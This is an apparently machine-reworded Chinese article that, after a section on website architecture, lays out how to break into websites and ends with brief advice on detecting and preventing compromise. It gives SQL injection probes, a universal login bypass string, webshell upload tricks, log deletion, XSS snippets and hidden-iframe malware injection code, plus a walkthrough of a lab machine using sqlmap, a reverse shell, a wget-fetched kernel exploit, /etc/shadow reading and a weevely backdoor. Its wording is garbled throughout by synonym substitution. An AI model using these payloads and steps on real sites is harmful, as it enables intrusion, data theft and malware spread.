本日就以本篇文章内容给大家讲述一下黑客\公众入侵网站的\"大众基本流程以及技能实现过程!
常见的几种基本架构如下:
1、单机模式

运用程序、数据库、文件等所有资源都集中在一台 Server上,范例案例:基于 LAMP 架构的 PHP 网站;
单机时期(纯依赖RDBMS)
优点:大略、快速迭代达成业务目标;缺陷:存在单点、谈不上高可用;技能点:运用设计要担保可扩展;
2、单机+缓存模式
有一定的业务量和用户规模了,想提升网站速率,于是,缓存出场了。
单机时期+缓存出场
优点:大略有效、方便掩护;缺陷:存在单点、谈不上高可用;技能点:客户端(浏览器)缓存、前端页面缓存、页面片段缓存、本地数据缓存/数据库缓存、远程缓存;
3、数据做事与运用分离模式
用户量每天在增长,数据库猖獗读写,逐渐创造一台做事器快撑不住了。于是,决定把数据做事和APP做分离。
数据做事与运用分离
优点:大略有效、方便掩护、提高不同Server对硬件资源的利用率;缺陷:存在单点、谈不上高可用;技能点:文件做事器支配、数据库做事器,扩展数据访问模块;
分离后三台 Server 对硬件资源的需求各不相同:
4、数据库读写分离模式
单台数据库也觉得快撑不住了,一样平常都会考试测验做\"大众读写分离\公众。由于大部分互联网\"大众读多写少\公众的特性所决定的。Salve的台数,取决于按业务评估的读写比例。
数据库读写分离
优点:大略有效、降落数据库单台压力;缺陷:读写分离,增加程序难度,架构变繁芜,掩护难度增加;技能点:数据库主从同步支配,扩展数据访问模块,实现读写分离;
5、运用做事集群模式
数据库层面是缓解了,但是运用程序层面也涌现了瓶颈,由于访问量增大,加上早期程序员水平有限写的代码也很烂,职员流动性也大,很难去掩护和优化。以是,很常用的办法还是\公众堆机器\"大众。
运用涌现瓶颈 负载均衡集群
优点:增加做事器和HA机制,系统性能及可用性得到担保;缺陷:运用之间缓存、Session同等性问题;技能点:负载均衡;
通过集群办理高并发、海量数据问题的常用手段,实现系统的可伸缩性。通过负载均衡调度器,可将用户访问分发到集群中的某台 Server 上,运用做事器的负载压力不再成为全体网站的瓶颈。
6、集中式缓存、Session集中存储
加机器谁都会加,关键是加完之后得有效果,加完之后可能会引发一些问题。例如非常常见的:集群运用之间页面输出缓存和本地缓存同等性的问题,Session保存的问题......。
集中式缓存 Session集中存储
优点:运用之间缓存、Session同等,存储无限制,可以扩展;缺陷:不如本地缓存访问快,缓存做事器、Session做事器等仍存在单点问题;技能点:缓存做事器支配、Session集中存储方案;
7、动静分离
动静分离也是提高网站相应速率的一种常用办法。将动态要求与静态要求分离开,只管即便减少对运用做事器的压力。同时,可以再进一步对静态要求,进行缓存,以加快相应速率。可以须要开拓职员合营(把静态资源放独立站点下),也可以不须要开拓职员合营(利用7层反向代理来处理,根据后缀名等信息来判断资源类型)。
利用动静分离
优点:减轻运用负载压力,针对静态文件缓存;缺陷:静态文件缓存更新失落效问题;技能点:动静分离、静态文件缓存方案;
8、反向代理和CDN加速网站相应
利用反向代理和CDN加速网站相应:CDN 和反向代理的基本事理都是缓存,差异在于:
1. CDN支配在网络供应商的机房;
2. 反向代理则支配在网站的中央机房;
利用 CDN 和反向代理的目的都是尽早返回数据给用户,一方面加快用户访问速率,另一方面也减轻后端做事器的负载压力。
利用反向代理和 CDN 加速网站相应
优点:减轻运用负载压力,异地缓存有效办理不同地方用户访问过慢的问题;缺陷:本钱大幅增加,架构进一步繁芜化,也掩护难度进一步增大,静态文件缓存更新失落效问题;技能点:CDN、反向代理方案;
9、利用NoSQL和搜索引擎
到这里,已经基本做到了DB层面和运用层面的横向扩展了,可以开始关注一些其它方面,例如:站内搜索的精准度,对DB的依赖,开始引入全文索引、NoSQL。
NoSQL和搜索引擎都是源自互联网的技能手段,对可伸缩的分布式特性具有更好的支持。运用做事器则通过一个统一数据访问模块访问各种数据,减轻运用程序管理诸多数据源的麻烦。
利用NoSQL和搜索引擎
优点:降落DB依赖;缺陷:单点问题,谈不上高可用;技能点:NoSQL、搜索引擎、分布式;
二、 网站的入侵基本流程1、信息网络
1) Whois信息--注册人、电话、邮箱、DNS、地址
2) Googlehack--敏感目录、敏感文件、后台地址
3) 做事器IP--Nmap扫描、端口对应的做事、C段
4) 旁注--Bing查询、脚本工具
5) 如果碰着CDN--Cloudflare(绕过)、从子域入手(mail,postfix)、DNS传送域漏洞
6) 做事器、组件(指纹)--操作系统、web server(apache,nginx,iis)、脚本措辞,数据库类型
2、漏洞挖掘
1) 探测Web运用指纹--如博客类:Wordpress、Emlog、Typecho、Z-blog,社区类:Discuz、PHPwind、Dedecms,StartBBS、Mybb等等,PHP脚本类型:Dedecms、Discuz!、PHPCMS、PHPwind
2) XSS、CSRF、SQLinjection、权限绕过、任意文件读取、文件包含...
3) 上传漏洞--截断、修正、解析漏洞
4) 有无验证码--进行暴力破解
3、漏洞利用
1) 思考目的性--达到什么样的效果
2) 隐蔽,毁坏性--根据探测到的运用指纹探求对应的exp攻击载荷或者自己编写
3) 开始漏洞攻击,获取相应权限,根据场景不同变革思路拿到webshell
4、权限提升
1) 根据做事器类型选择不同的攻击载荷进行权限提升
2) 无法进行权限提升,结合获取的资料开始密码猜解,回溯信息网络
5、植入后门
1) 暗藏性
2) 定期查看并更新,保持周期性
6、日志清理
1) 伪装,暗藏,避免激警他们常日选择删除指定日志
2) 根据韶光段,find相应日志文件 太多太多。
三、 黑客入侵网站的常规思路方法
1、经典注入
常日,判断一个网站是否存在注入点,可以用',and 1=1 ,and 1=2,+and+1=1,+and+1=2,%20and%201=1,%20and%201=2,来判断,如果and 1=1正常返回页面,1=2缺点,或者找不到,那么就存在注入点
2、万能密码OR漏洞
万能密码'or'='or',可以用在后台管理输入,有的网站由于没有过滤OR漏洞,输入OR直接就可以打破,一样平常漏洞存在于ASP类型的网站
3、爆库
爆库,可以理解为爆出数据库下载,用爆库之类的工具可以直接就得到管理员用户和密码,%5C为十六进制的\符号,而数据库大于5.0就可以进行爆库,如在PHP手工高等注入时,用VERSION()这个变量猜出网站数据库版本,如果一个网站数据库大于5.0,且是ACESS数据库,那么提交地址是:http://www.xxx.com/rpc/show24.asp?id=127,我们直接把%5C加到RPC后面,由于%5C是爆二级目录,以是该当是这样,http://www.xxx.com/rpc%5c/show24.asp?id=127,而%23是代表#,如果管理员为了防止他人造孽下载数据库,而把数据库改成#database.mdb,这样防止了,如果页面地址为http://www.xx.com/rpd/#database.mdb,是这样的,那么我们把%23加到更换#,http://www.xx.com/rpd/%23database.mdb
4、COOKIE中转,SQL防注入程序,提醒你IP已被记录
COOKIE中转,SQL防注入,如果检测一个网站时,弹出这样一个对话框,上面涌现SQL防注入程序提醒的字语,那么我们可以利用COOKIE中转,注入中转来打破,方法是先搭建一个ASP环境(且网站为ASP网站),然后打开中转工具,记住一个网站的页面地址粘贴进工具里,值是多少就写多少,天生,把天生的文件放到目录里,接下来,打开网页,输入http://127.0.0.1:(端口)/目录里文件,如果正常,那么输入http://127.0.0.1:端口/值(目录文件)?提交值,那么拿到工具里猜表名,列名了
5、手工
ASP手工语句表名 and exists (select from 表名)
列名 and (select count(列名) from 表名)>0
长度 and (select top 1 len(username) from admin)>0
内容 and (select top 1 asc(mid(username,1,1)) from admin)>100
PHP手工语句:order by(猜字段),and 1=2 union select (字段数)and 1=2 union selsect from(位置)
几个常用变量 ,USER(),VERSION()<数据库版本),database()<数据库名称>
6、抓包拿WEBSHELL
如果进入后台创造,点数据库备份的时候创造找不到,可以通过抓包来得到上传,拿到WEBSHELL,工具WOSCK抓包,一张图片,一个ASP马,自行搭建一个上传地址,UPLOAD加载,UPFILE上传,COOKIS=( )
7、数据库备份拿WEBSHELL和一句话木马入侵
常日进入后台了,创造有数据库备份,拿WEBSHELL吧,找一个添加产品的地方,传一个大马,格式为JPG图片,然后把图片地址粘贴到数据库备份那里,给起个名字,如SHELL.ASP,然后合地址访问的时候就进入webshell了,一句话木马入侵,先编辑记事本,加入一句话,改为2.jpg,然后备份,访问,创造500内部做事器缺点,证明一句话成功,接下来用一句话木马客户端连接,得到路径页面,然后改下马名,输入大马内容,提交,得到WEBSHELL
8、DB权限差异备份拿WEBSHELL
如果一个网站注入点是MYSQL数据库,且是DB权限,或者是SA权限,能够列目录,那么就好办了,找到网站的目录,目录常日在D和E盘,备份个小马,合地址访问看算作功没,直接备份大马貌似弗成,成功后,再输入大马内容,拿到WEBSHELL
9、找后台
找后台,一样平常默认为admin,admin/admin.asp,admin/login.asp,.admin_login.asp,manage/login.asp,login.asp,logon,user.asp,admin/index.asp,当然,这只是默认,一些大网站不可能还用admin作为后台,有的隐蔽很深,可以大略用site:网站 inurl:后台来猜,或者下载源HTML文件剖析找出后台,或者用各种工具来扫描了,方法很多的
10、脚本提示
有的网站哀求进入后台会涌现一个脚本提示,就像VB编程里INPUTBOX \"大众\"大众,一个对话输入框,我们输入administrator打破,admin代表以管理员身份来进入
11、php后门和EWEBEDITOR编辑器入侵
PHP后门,如之前爆出的DISZ漏洞,在一个PHP网站后面加C.PHP,如果涌现1,那么传个PHP马就拿到WEBSHELL,EWEBEDITOR编辑器入侵,是很快速的办法,设置好上传文件类型,传ASA,或者其他的格式,然后访问拿到WEBSHELL,如没有直接加语句拿到WEBSHELL
12、上传漏洞
有的网站虽然没有注入点,但存在一个上传漏洞,那么我们如何来利用了,首先,打开上传地址看是否存在,如果有,试想传一个ASP大马是弗成的,那么传一句话看看,先看能成功不,用明小子来上传,动网,动力,动感,乔客4种办法,页面地址格式要对应,如果一个网站地址弹出对话框,显示上传成功,那么证明可以拿到WEBSHELL,传马,其余有的没有任何显示,直接空的,那么可以构建两个上传,第一个传JPG的图片,第二个传ASP马(大马),记住,大马后面要有个空格才行,如果一个网站地址涌现文件类型禁绝确,请重新上传,那么证明%90可以拿到WEBSHELL,只是格式不对,不许可,改后缀,只假如网站没有过滤的格式,如果一个网站地址显示请上岸再上传,那么证明没有拿到COOKIS,思路是在该网站注册一个用户,得到COOKIS,然后上传就成功了
13、大略提权拿下做事器和SERV提权和pcanywhere三方提权
大略拿下做事器,也便是拿下网站IP主机,首先我们须要一个WEBSHELL,然后看看组件信息,看看路径可读可以写不,如果有一个可以,那么来到CMD命令下,首先输入可写的文件内容,实行命令加一个帐号和最高管理权限,然后输入netstat -an,得到主机连接端口,然后用3389连接进入,让其成为肉鸡(最好),这样比较暗藏我们操作
14、反查入侵和旁注和社会工程学
反查IP入侵,也便是入侵21,端口,首先我们入侵网站先PING WWW.XXX.COM ,出IP,然后到反查IP站点查挂了多少个域名,接下来,添加webmaster@地址,加入字典,(里面多网络可能的口令,如123,321,456),然后用流光探测密码,上岸ftp://ip,输入用户和密码,改掉信息等等,社会工程学X-WAY,来得到FTP密码,也须要网络,并不是每个都行,总之是自己的履历
15、跨站脚本攻击
跨站(CSS),被动攻击,现在须要更多的思路和履历了
三段经典跨站代码
<script>alert(\"大众跨站开始\"大众)</script>
<script>alert(\公众document.cookie\公众)</script>
<script>window.open(http://www.hackgirl.net)</script>
16、分外空格
利用TAB制作的分外空格,然后注册时输入空格,加管理名字,随便在网站上找个斑竹,或者管理的名字,这样来注册,有时自己注册的这个也会变成管理员
17、改主页
改主页,拿到WEBSHELL后,先找出首页文件,一样平常为index.asp,index.php.index.jsp,index.html,然后来到站点根目录,编辑index.asp(首页),清空,最好备份,输入自己的主页代码(黑页),保存,再访问时已经变成自己想要的结果了
18、挂马
首先在WEBSHELL里,建立一个文本,改为1.htm,接下来在主页最下面挂
两段经典挂马代码
<html>
<iframe src=\"大众http://www.xxxx.com/2.htm\"大众 width=\"大众0\"大众 height=\"大众0\公众 frameborder=\"大众0\"大众></iframe>
</html>
<SCRIPT language=javascript>
window.open(\"大众http://www.xxx.com/2.htm\公众,\"大众\公众,\"大众toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1\"大众);
</script>
四、 网站入侵全过程实例假设入侵的网站域名是hack-test.com
第一步:用ping命令获取网站做事器的IP地址
现在我们获取了网站做事器的IP地址为:173.236.138.113
第二步:探求同一做事器上的其它网站,我们利用sameip.org.
26 sites hosted on IP Address 173.236.138.113
173.236.138.113上有26个网站,很多黑客为了攻破你的网站可能会检讨同做事器上的其它网站,但是本次因此研究为目标,我们将抛创办事器上的其它网站,只针对本次测试的网站来进行入侵检测。
第三步:查询关于网站的以下信息:
1. DNS records (A, NS, TXT, MX and SOA)
2. Web Server Type (Apache, IIS, Tomcat)
3. Registrar (the company that owns your domain)
4. Your name, address, email and phone
5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)
6. Your server OS (Unix,Linux,Windows,Solaris)
7. Your server open ports to internet (80, 443, 21, etc.)
让我们开始找网站的DNS记录,我们用who.is来完成这一目标.
创造DNS记录如下:
确定web做事器的类型:
创造Web做事器是apache,接下来确定它的版本.
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month:3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3Month: 3.7
接下来探求网站域名的注册信息,你的电话、邮箱、地址等
现在已经获取了你的网站域名的注册信息,包括你的主要信息等.
接下来可以通过backtrack5中的whatweb来获取网站做事器操作系统类型和做事器的版本:
创造网站利用了著名的php整站程序wordpress,做事器的的系统类型为FedoraLinux,Web做事器版本Apache 2.2.15。
连续查看网站做事器开放的端口,用渗透测试工具nmap:
1、Find services that run on server(查看做事器上运行的做事)
2、Find server OS(查看操作系统版本)
只有80端口是开放的,操作系统是Linux2.6.22(Fedora Core 6),现在已经网络了所有关于网站的主要信息,接下来开始扫描探求漏洞,比如:
Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF等等
3、用Nikto来网络漏洞信息:
root@bt:/pentest/web/nikto# perlnikto.pl -h hack-test.com
4、用到Backtrack 5 R1中的W3AF 工具:
root@bt:/pentest/web/w3af#./w3af_gui
输入要检测的网站地址,选择完全的安全审计选项
稍等一会,将会看到扫描结果
创造你的网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.让我们来磋商SQL注入漏洞.
http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220
第四步:通过工具创造这个URL存在SQL注入,我们通过Sqlmap来检测这个url.
Using sqlmap with –u url
输入N按回车键连续
创造你的网站存在mysql显错注入,mysql数据库版本是5.0. 我们通过加入参数\公众-dbs\"大众来考试测验采集数据库名
创造三个数据库,接下来通过参数\"大众-D wordpress -tables\"大众来查看wordpress数据库的所有表名
通过参数\"大众-T wp_users –columns \"大众来查看wp_users表中的字段.
接下来猜解字段user_login和user_pass的值.用参数\公众-C user_login,user_pass–dump\公众
会创造用户名和密码hashes值
第五步:通过以下在线破解网站来破解密码hashes
http://www.onlinehashcrack.com/free-hash-reverse.php
第六步:上岸wordpress的后台wp-admin
考试测验上传php webshell到做事器,以方便运行一些linux命令.在插件页面探求任何可以编辑的插件.我们选择Textile这款插件,编辑插入我们的php webshell,点击更新文件,然后访问我们的phpwebshell.
Phpwebshell被解析了,我们可以掌握网站的文件,但是我们只希望得到网站做事器的root权限,来入侵做事器上其它的网站。
第六步:用NC来反弹一个shell
首先在我们的电脑上监听5555端口。
然后在Php webshell上反向连接我们的电脑,输入IP和端口5555.
点击连接我们会看到
接下来我们考试测验实行一些命令:
id
uid=48(apache) gid=489(apache) groups=489(apache)
(用来显示用户的id和组)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins
(显示做事器上当前的路径)
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 721:41:45 EST 2009 i686 i686 i386 GNU/Linux
(显示内核版本信息)
现在我们知道,做事器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的干系漏洞.
第七步:在做事器上测试了很多exp之后,用以下的exp来提升权限.
http://www.exploit-db.com/exploits/15285
在nc shell上实行以下命令:
wgethttp://www.exploit-db.com/exploits/15285 -o roro.c
(下载exp到做事器并重命名为roro.c)
注:很多linux内核的exp都是C措辞开拓的,因此我们保存为.c扩展名.
exp roro.c代码如下:
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(\"大众[] Could not open socket.\"大众);
exit(-1);
}
memset(&addr, 0, sizeof(addr));
通过以上代码我们创造该exp是C措辞开拓的,我们须要将他编译成elf格式的,命令如下:
gcc roro.c –ororo
接下来实行编译好的exp
./roro
实行完成之后我们输入id命令
id
创造我们已经是root权限了
uid=0(root) gid=0(root)
现在我们可以查看/etc/shadow文件
cat/etc/shadow
第八步:用weevely制作一个php小立时传到做事器上,留个后门
1、weevely利用选项
root@bt:/pentest/backdoors/web/weevely#./main.py
2.用weevely创建一个密码为koko的php后门
root@bt:/pentest/backdoors/web/weevely#./main.py -g -o hax.php -p koko
接下来上传到做事器之后来利用它
root@bt:/pentest/backdoors/web/weevely#./main.py -t -uhttp://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -pkoko
测试我们的hax.php后门
以上便是入侵网站的全过程实例描述!
五、如何判断网站被黑?如何应对网站被黑?如何防止网站被黑?1、如何判断网站被黑?
如果存不才列问题,则您的网站可能已经被黑客攻击:
1) 通过site命令查询站点,显示搜索引擎收录了大量非本站应有的页面。
2) 从百度搜索结果中点击站点的页面,跳转到了其他站点。
3) 站点内容在搜索结果中被提示存在风险。
4) 从搜索引擎带来的流量短韶光内非常暴增。
一旦创造上述非常,建议您立即对网站进行排查。包括:
1、剖析系统和做事器日志,检讨自己站点的页面数量、用户访问流量等是否有非常颠簸,是否存在非常访问或操作日志;
2、检讨网站文件是否有不正常的修正,尤其是首页等重点页面;
3、网站页面是否引用了未知站点的资源(图片、JS等),是否被放置了非常链接;
4、检讨网站是否有不正常增加的文件或目录;
5、检讨网站目录中是否有非管理员打包的网站源码、未知txt文件等。
2、如何应对网站被黑?
如果排查确认您的网站存在非常,此时您须要立即做出处理,包括:
1) 立即停滞网站做事,避免用户连续受影响,防止连续影响其他站点(建议利用503返回码)。
2) 如果同一主机供应商同期内有多个站点被黑,您可以联系主机供应商,敦促对方做出应对。
3) 清理已创造的非常,排查出可能的被黑韶光,和做事器上的文件修正韶光比较对,处理掉黑客上传、修正过的文件;检讨做事器中的用户管理设置,确认是否存在非常的变革;变动做事器的用户访问密码。
注:可以从访问日志中,确定可能的被黑韶光。不过黑客可能也修正做事器的访问日志。
4) 做好安全事情,排查网站存在的漏洞,防止再次被黑。
3、如何防止网站被黑?
1) 为避免您的网站被黑客攻击,您须要在平时做大量的事情,例如
2) 定期检讨做事器日志,检讨是否有可疑的针对非前台页面的访问。
3) 常常检讨网站文件是否有不正常的修正或者增加。
4) 关注操作系统,以及所利用程序的官方网站。如果有安全更新补丁涌现,应立即支配,不该用官方已不再积极掩护的版本,如果条件许可,建议直接更新至最新版;关注建站程序方发布的的安全设置准则。
5) 系统漏洞可能出自第三方运用程序,如果网站利用了这些运用程序,建议仔细评估其安全性。
6) 修正开源程序关键文件的默认文件名,黑客常日通过自动扫描某些特定文件是否存在的办法来判断是否利用了某套程序。
7) 修正默认管理员用户名,提高管理后台的密码强度,利用字母、数字以及分外符号多种组合的密码,并严格掌握不同级别用户的访问权限。
8) 选择有实力保障的主机做事供应商。
9) 关闭不必要的做事,以及端口。
10) 关闭或者限定不必要的上传功能。
11) 设置防火墙等安全方法。
12) 若被黑问题反复涌现,建议重新安装做事器操作系统,并重新上传备份的网站文件。